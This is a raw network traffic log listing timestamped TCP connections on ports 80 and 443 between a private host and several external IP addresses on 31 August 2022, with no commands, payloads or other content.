Aug 31, 2022 14:29:04.537503004 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.537511110 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.505603075 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:05.563796043 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:05.581027985 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.581063032 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.581646919 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.624320030 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.624341011 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.646219969 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:05.646296024 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:05.668100119 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.668205976 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.670310020 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.670330048 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.670833111 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.673681021 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.704391956 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:05.704583883 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:05.705117941 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:05.708401918 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.708544016 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.708645105 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.708714962 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.708744049 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.709681034 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.709697962 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.718277931 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.718427896 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.718808889 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.718897104 CEST	443	49753	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:05.718970060 CEST	49753	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:05.845565081 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:06.028439999 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:06.063688993 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.063735008 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.063819885 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.064358950 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.064371109 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.106900930 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.106997013 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.111608982 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.111624956 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.111896038 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.115020990 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.148186922 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.148309946 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.148410082 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.148435116 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.148601055 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.148673058 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.148689032 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.148821115 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.149214983 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.149382114 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.149405003 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.149472952 CEST	49754	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.149487972 CEST	443	49754	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.172265053 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:06.236959934 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.237005949 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.237180948 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.240051985 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.240084887 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.257808924 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:06.258100033 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:06.284858942 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.284965992 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.287575006 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.287595034 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.288168907 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.290580034 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.331376076 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339795113 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339879990 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339910984 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339937925 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339941978 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.339963913 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.339987040 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.340028048 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.340240955 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.340681076 CEST	49755	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:06.340709925 CEST	443	49755	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:06.398413897 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:06.398472071 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:06.691611052 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:06.876868010 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:07.089644909 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.089720964 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.090694904 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.090748072 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.090759993 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.130731106 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.130877018 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.147249937 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.147281885 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.147650003 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.151309967 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.191370010 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191519022 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191556931 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191584110 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191628933 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191664934 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.191694021 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191704988 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.191720009 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.191827059 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.193805933 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.193824053 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.193883896 CEST	49756	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.193891048 CEST	443	49756	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.285339117 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.285401106 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.285666943 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.286295891 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.286335945 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.328696012 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.328845978 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.331820965 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.331846952 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.332212925 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.338922977 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.365665913 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.365746021 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.365780115 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.365817070 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.365835905 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.365895033 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.365900993 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.365923882 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.366076946 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.368623018 CEST	49757	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.368644953 CEST	443	49757	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.542129993 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.542176008 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.542273045 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.543128014 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.543154001 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.614432096 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.614516973 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.633632898 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.633685112 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.634120941 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.641026974 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.683377981 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714003086 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714061975 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714099884 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714137077 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714143991 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.714167118 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714181900 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.714270115 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.714318037 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.715008020 CEST	49758	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:07.715033054 CEST	443	49758	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:07.767196894 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.767240047 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.767316103 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.769706011 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.769726038 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.812072992 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.812149048 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.815160990 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.815174103 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.815546989 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.817662954 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.851665974 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851723909 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851767063 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851799965 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.851811886 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851828098 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851867914 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.851878881 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851919889 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.851926088 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851938963 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.851985931 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.852189064 CEST	49759	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.852204084 CEST	443	49759	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.930905104 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.930941105 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.931010962 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.931794882 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:07.931808949 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.955030918 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:07.982816935 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:07.982942104 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.012828112 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.012856007 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.013155937 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.015369892 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.038676023 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.038744926 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.038804054 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.038868904 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.038888931 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.039130926 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.039194107 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.040396929 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:08.095688105 CEST	80	49752	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:08.096709967 CEST	49752	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:08.109281063 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.109308958 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.109364986 CEST	49760	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.109375000 CEST	443	49760	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.287121058 CEST	80	49761	210.92.250.133	192.168.2.4
Aug 31, 2022 14:29:08.287269115 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:08.293174028 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:08.293201923 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:08.329004049 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:08.371675968 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.371740103 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.372076035 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.446110964 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.446173906 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.471756935 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:08.471889019 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:08.486495018 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.486624956 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.491116047 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:08.493920088 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.493949890 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.494560003 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.496469975 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.539386988 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.540158987 CEST	80	49761	210.92.250.133	192.168.2.4
Aug 31, 2022 14:29:08.541810036 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.541939020 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.542037964 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.542045116 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.542088985 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.542145967 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.542171001 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.542448997 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.542515039 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.573028088 CEST	49763	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.573066950 CEST	443	49763	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.633481026 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:08.639955044 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.640026093 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.640145063 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.685971975 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.685998917 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.695251942 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:08.728636026 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.728737116 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.742695093 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.742717981 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.743120909 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.744920015 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.769151926 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769263029 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769362926 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769426107 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.769438982 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769454956 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769520998 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.769546986 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.769608021 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.769608974 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.770056009 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.790783882 CEST	49764	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:08.790827990 CEST	443	49764	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:08.901189089 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:08.901279926 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:08.901401997 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:08.901947975 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:08.901985884 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:08.922507048 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:08.976707935 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:08.976887941 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:08.990917921 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:08.990953922 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:08.991341114 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:08.993249893 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.039378881 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048455954 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048557997 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048608065 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048628092 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.048654079 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048695087 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.048707008 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048777103 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.048819065 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.061168909 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.061202049 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.061239004 CEST	49765	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.061248064 CEST	443	49765	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.456748962 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.456796885 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.456885099 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.457427025 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.457441092 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.539227009 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.544891119 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.558327913 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.558356047 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.558969021 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.560676098 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.603389025 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.616667986 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.616800070 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.616947889 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.617074966 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.617252111 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.626274109 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.666275024 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.666315079 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.666349888 CEST	49766	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:09.666371107 CEST	443	49766	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:09.725090027 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.725157022 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.727766037 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.732350111 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.732378960 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.776525021 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.782562017 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.786691904 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.786717892 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.787085056 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.790199995 CEST	80	49761	210.92.250.133	192.168.2.4
Aug 31, 2022 14:29:09.790218115 CEST	80	49761	210.92.250.133	192.168.2.4
Aug 31, 2022 14:29:09.800196886 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.809024096 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:09.815063953 CEST	49761	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:29:09.837821960 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.837922096 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.837986946 CEST	443	49767	104.21.40.196	192.168.2.4
